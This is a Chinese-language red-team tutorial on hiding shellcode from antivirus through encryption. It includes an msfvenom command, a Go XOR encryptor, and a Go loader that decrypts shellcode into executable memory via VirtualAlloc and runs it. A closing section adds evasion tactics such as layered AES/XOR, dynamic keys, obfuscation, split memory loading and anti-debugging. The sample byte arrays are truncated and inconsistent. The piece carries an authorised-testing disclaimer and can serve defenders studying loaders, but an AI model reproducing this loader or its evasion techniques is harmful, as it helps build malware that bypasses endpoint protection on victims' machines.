0x01 技术背景揭秘

在红队行动中，Shellcode 是一种强大的武器，它能绕过许多安全防护机制，执行任意指令。然而，现代的安全软件在检测和阻止Shellcode方面愈发智能，因此我们需要更高明的策略来确保我们的Payload不被检测。这篇文章将深入探讨如何通过加密来实现Shellcode的免杀。这里的内容仅供合法授权的渗透测试和安全研究使用。

Shellcode的核心在于其直接操作系统核心API的能力。它以机器码的形式存在，通常嵌入到Exploit中直接执行。但是，Shellcode在其原始形式下很容易被签名检测机制发现，这就是我们需要对其进行加密的原因。

加密Shellcode的基本思路是将其转换为不可识别的形式，并在运行时解密并执行。这种方法可以有效地避免基于模式匹配的静态分析检测。

0x02 实战环境准备

在正式开始实施加密免杀之前，我们需要一个安全的测试环境：

环境需求

  • 攻击机：推荐使用Kali Linux，预装了许多必要的工具。
  • 目标机：一台带有Windows操作系统的虚拟机，最好关闭或弱化安全防护软件以便测试。
  • 开发工具：Go语言开发环境（Go 1.15或更新版本），因为我们将使用Go来开发Shellcode的加密与解密程序。

Kali Linux准备

在Kali Linux上，确保安装了以下工具：

黑客示意图

<pre><code class="language-sh">sudo apt-get update sudo apt-get install mingw-w64 # 用于跨平台编译 sudo apt-get install golang # 安装Go语言环境</code></pre>

Windows虚拟机准备

  • 禁用自动更新以防止环境变化。
  • 安装必要的调试工具，如x64dbg，以便分析和调试Shellcode。

0x03 Payload构造的艺术

黑客示意图

在进行Shellcode加密免杀时，构造有效载荷 是关键步骤之一。我们将创建简单的Shellcode，并用Go语言编写一个加密器和解密器。

编写Shellcode

我们编写一个简单的消息框Shellcode，以便观察其在目标主机上的行为。可以使用msfvenom来生成：

<pre><code class="language-sh">msfvenom -p windows/messagebox TEXT=&quot;Hello, World!&quot; -f c</code></pre>

生成的C格式的Shellcode可能类似于以下样子：

<pre><code class="language-c">unsigned char shellcode[] = { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, ... };</code></pre>

编写加密器

接下来，我们使用Go语言编写一个简单的XOR加密器。XOR加密是一种常见且对抗静态分析有效的手段。

<pre><code class="language-go">package main

import ( &quot;encoding/hex&quot; &quot;fmt&quot; )

func xorEncrypt(shellcode []byte, key byte) []byte { var encrypted []byte for _, b := range shellcode { encrypted = append(encrypted, b^key) // 这里是简单的XOR操作 } return encrypted }

func main() { // 这里是我们的Shellcode，可以用msfvenom生成 shellcode := []byte{0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b} key := byte(0xaa) // 这是我们的加密密钥 encryptedShellcode := xorEncrypt(shellcode, key) fmt.Println(&quot;Encrypted Shellcode: &quot;, hex.EncodeToString(encryptedShellcode)) }</code></pre>

黑客示意图

编写解密器

解密器同样使用Go语言编写，以便在目标机上解密Shellcode并执行。

<pre><code class="language-go">package main

import ( &quot;syscall&quot; &quot;unsafe&quot; )

func xorDecrypt(encrypted []byte, key byte) []byte { var decrypted []byte for _, b := range encrypted { decrypted = append(decrypted, b^key) // 解密过程 } return decrypted }

func main() { // 这里是我们已经加密的Shellcode encryptedShellcode := []byte{0x56, 0x42, 0x28, 0xaa, 0xaa, 0xaa, 0xca, 0x23, 0x4f, 0x9a, 0x8a, 0xce, 0x21, 0xfa, 0x9a} key := byte(0xaa) // 和加密时一样的密钥 shellcode := xorDecrypt(encryptedShellcode, key)

// 使用Windows API执行Shellcode kernel32 := syscall.MustLoadDLL(&quot;kernel32.dll&quot;) virtualAlloc := kernel32.MustFindProc(&quot;VirtualAlloc&quot;)

addr, _, err := virtualAlloc.Call( 0, uintptr(len(shellcode)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE, ) if err != nil &amp;&amp; err.Error() != &quot;The operation completed successfully.&quot; { panic(err) }

// 将解密的Shellcode复制到分配的内存空间 copy((*[990000]byte)(unsafe.Pointer(addr))[:], shellcode)

// 执行Shellcode syscall.Syscall(addr, 0, 0, 0, 0) }</code></pre>

0x04 流量捕获实战

在这一环节，我们将把编写的解密器编译为Windows可执行文件，并在目标机上执行，观察Shellcode的效果。

编译Go程序

在Kali Linux上使用x86_64-w64-mingw32-gcc进行交叉编译：

<pre><code class="language-sh">GOOS=windows GOARCH=amd64 go build -o decryptor.exe decryptor.go</code></pre>

执行并捕获流量

将编译好的decryptor.exe传输到Windows虚拟机（可以使用scp或共享文件夹），并在Windows上执行。此时，可以使用流量捕获工具（如Wireshark）观察任何出站流量，确认Shellcode是否按预期执行。

0x05 绕过技巧与免杀策略

在实际对抗中，我们可能需要对加密策略进行多层次的优化和调整，以确保永久绕过。

多层次加密

结合不同的加密算法，交替使用XOR、AES等加密方式。这样可以增加静态分析的复杂度。

动态解密与混淆

在解密过程中，使用动态生成密钥的方法，避免单一密钥被暴力破解。同时，可以使用代码混淆工具对解密器进行处理，增加代码逆向的难度。

内存分段加载

将Shellcode分割成多个部分，逐一加载到不同的内存位置，避免一次性的大规模内存分配被检测到。

0x06 个人经验心得

在实际渗透测试和红队行动中，加密Shellcode只是免杀的一个环节。我们需要综合运用多种技术和策略来确保我们的Payload不被检测。这包括但不限于：不同加密算法的混合使用、动态生成和加载技术、反调试和反虚拟化技术。

通过不断的实践和总结经验，我们可以在实战中更好地实现我们的目标。记住，安全研究是一把双刃剑，永远在合法授权的范围内利用这些技术。

这篇文章已经涵盖了Shellcode加密免杀的技术原理和实现细节，希望能为安全研究人员提供一些实践思路。学习和掌握这些技术不仅仅为了攻击，更是为了更好地理解如何进行有效的防御。